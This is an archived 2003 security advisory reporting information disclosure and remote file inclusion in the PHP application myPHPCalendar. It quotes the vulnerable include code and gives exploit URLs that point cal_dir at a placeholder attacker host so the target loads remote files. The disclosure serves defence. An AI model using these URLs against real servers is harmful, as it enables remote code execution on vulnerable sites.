

[VulnWatch] myPHPCalendar : Informations Disclosure, File Include

Source: <http://www.derkeiler.com/Mailing-Lists/VulnWatch/2003-10/0011.html>

From: Frog Man (leseulfrog_at_hotmail.com)

Date: 10/12/03

To: vulnwatch@vulnwatch.org, bugtraq@securityfocus.com

Date: Sun, 12 Oct 2003 13:18:44 +0200

Informations :

oooooooooooooooo

Language : PHP

Version : 10192000 Build 1 Beta

Website : <http://myphpcalendar.sourceforge.net/>

Problems :

– Informations Disclosure

– File Include

PHP Code/Location :

oooooooooooooooooooooooo

admin.php, contacts.php, convert-date.php :

include ("globals.inc");

globals.inc :

include(\$cal_dir."vars.inc");
include(\$cal_dir."prefs.inc");

index.php :

include (\$cal_dir."globals.inc");
[...]
include(\$cal_dir."sql.inc");

setup.php :

```
$fp = fopen("setup.inc", "w+");
fputs($fp, "<?php\n");
fputs($fp, "\$url = \"\".$URL.\"";\n");
fputs($fp, "\$mainscript = \"\".$MAINSCRIPT.\"";\n");
fputs($fp, "\$mysql_server = \"\".$MYSQL_SERVER.\"";\n");
fputs($fp, "\$mysql_username = \"\".$MYSQL_USERNAME.\"";\n");
fputs($fp, "\$mysql_pass = \"\".$MYSQL_PASS.\"";\n");
fputs($fp, "\$database_name = \"\".$DATABASE_NAME.\"";\n");
fputs($fp, "\$db_type = \"\".$DB_TYPE.\"";\n");
fputs($fp, "\$user_text = \"\".$USER_TEXT.\"";\n");
fputs($fp, "\$crypt_type = \"\".$CRYPT_TYPE.\"";\n");
fputs($fp, "\$display_username = \"\".$DISPLAY_USERNAME.\"";\n");
fputs($fp, "\$maxdisplay = \"\".$MAXDISPLAY.\"";\n");
fputs($fp, "\$admin_email = \"\".$ADMIN_EMAIL.\"";\n");
```

Exploits :

oooooooo

[http://\[target\]/admin.php?cal_dir=http://\[attacker\]/](http://[target]/admin.php?cal_dir=http://[attacker]/)
[http://\[target\]/contacts.php?cal_dir=http://\[attacker\]/](http://[target]/contacts.php?cal_dir=http://[attacker]/)
[http://\[target\]/convert-date.php?cal_dir=http://\[attacker\]/](http://[target]/convert-date.php?cal_dir=http://[attacker]/)

will include the files :

[http://\[attacker\]/vars.inc](http://[attacker]/vars.inc) and/or [http://\[attacker\]/prefs.inc](http://[attacker]/prefs.inc)

and [http://\[target\]/index.php?cal_dir=http://\[attacker\]/](http://[target]/index.php?cal_dir=http://[attacker]/) will include the files :

[http://\[target\]/globals.inc](http://[target]/globals.inc) [http://\[target\]/sql.inc](http://[target]/sql.inc)

Patch :

oooooooo

A patch and more details can be found on <http://www.phpsecure.info>.

frog-m@n

Utilisez votre MSN Messenger via votre GSM !
<http://www.fr.msn.be/gsm/servicesms/messengerparsms>